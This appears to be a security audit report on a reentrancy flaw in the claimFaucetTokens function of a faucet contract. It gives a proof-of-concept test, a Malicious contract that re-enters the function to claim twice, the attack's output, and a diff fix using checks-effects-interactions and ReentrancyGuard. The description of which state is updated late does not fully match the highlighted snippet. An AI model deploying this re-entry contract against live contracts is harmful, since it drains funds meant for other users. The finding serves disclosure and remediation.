Reentrancy Attack RaiseBoxFaucet::claimFaucetTokens Leads to Loss of Funds
Description
The claimFaucetTokens function in the RaiseBoxFaucet contract is expected to be able to handle users to claim faucet tokens while providing Sepolia Eth for new users or first-time claimers.
Unfortunately, the function not fully following CEI (Check, Effect, Interact) pattern. Transfers tokens to the caller before updating the internal state, allowing an attacker to repeatedly call the function and drain the contract's token balance.
function claimFaucetTokens() external {
...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
...
}
Risk
Likelihood: High
-
Reason 1: The function is `external` and can be called by any user, including potential attackers to create malicious contract to exploit the reentrancy vulnerability.
-
Reason 2: The contract holds a significant amount of tokens and Sepolia Eth, making it an attractive target for attackers.
Impact: High
-
Impact 1: Attacker can exceed the intended per-claim amount (claim ~2x faucetDrip via reentrancy), unfairly receiving extra tokens and reducing availability for other users.
-
Impact 2: The contract may become unable to fulfill its intended purpose, affecting its reputation.
Proof of Concept
Below is a test case that demonstrates the reentrancy attack using a malicious contract.
function testReentrancyAttack() public {
Malicious attacker = new Malicious(raiseBoxFaucetContractAddress);
console.log("Attacker balance before attack:", raiseBoxFaucet.getBalance(address(attacker)));
console.log("Faucet contract balance before attack:", raiseBoxFaucet.getFaucetTotalSupply());
attacker.attack();
console.log("Attacker balance after attack:", raiseBoxFaucet.getBalance(address(attacker)));
console.log("Faucet contract balance after attack:", raiseBoxFaucet.getFaucetTotalSupply());
assertEq(
raiseBoxFaucet.getBalance(address(attacker)),
raiseBoxFaucet.faucetDrip() * 2
);
}
contract Malicious {
RaiseBoxFaucet raiseBoxFaucet;
constructor(address raiseBoxFaucetAddress) {
raiseBoxFaucet = RaiseBoxFaucet(payable(raiseBoxFaucetAddress));
}
function attack() public {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
if (address(raiseBoxFaucet).balance >= 0.005 ether) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}
Output:
Attacker balance before attack: 0
Faucet contract balance before attack: 1000000000000000000000000000
Attacker balance after attack: 2000000000000000000000
Faucet contract balance after attack: 999998000000000000000000000
Recommended Mitigation
You can implement one of the following:
function claimFaucetTokens() external {
...
+ // Effects
+
+ /**
+ *
+ * @param lastFaucetDripDay tracks the last day a claim was made
+ * @notice resets the @param dailyClaimCount every 24 hours
+ */
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
+ // Handle ETH drip state updates BEFORE sending ETH
+ bool shouldDripEth = false;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
- // dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- } else {
- emit SepEthDripSkipped(
- faucetClaimer,
- address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
- );
+ hasClaimedEth[faucetClaimer] = true; // MOVED: Now updated BEFORE external call
+ dailyDrips += sepEthAmountToDrip; // MOVED: Now updated BEFORE external call
+ shouldDripEth = true; // NEW: Flag to trigger ETH transfer after state updates
}
} else {
dailyDrips = 0;
}
- /**
- *
- * @param lastFaucetDripDay tracks the last day a claim was made
- * @notice resets the @param dailyClaimCount every 24 hours
- */
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- // Effects
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
+ // Transfer ETH if applicable (now happens AFTER all state updates)
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ } else if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ emit SepEthDripSkipped(
+ faucetClaimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
+ }
...
}
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {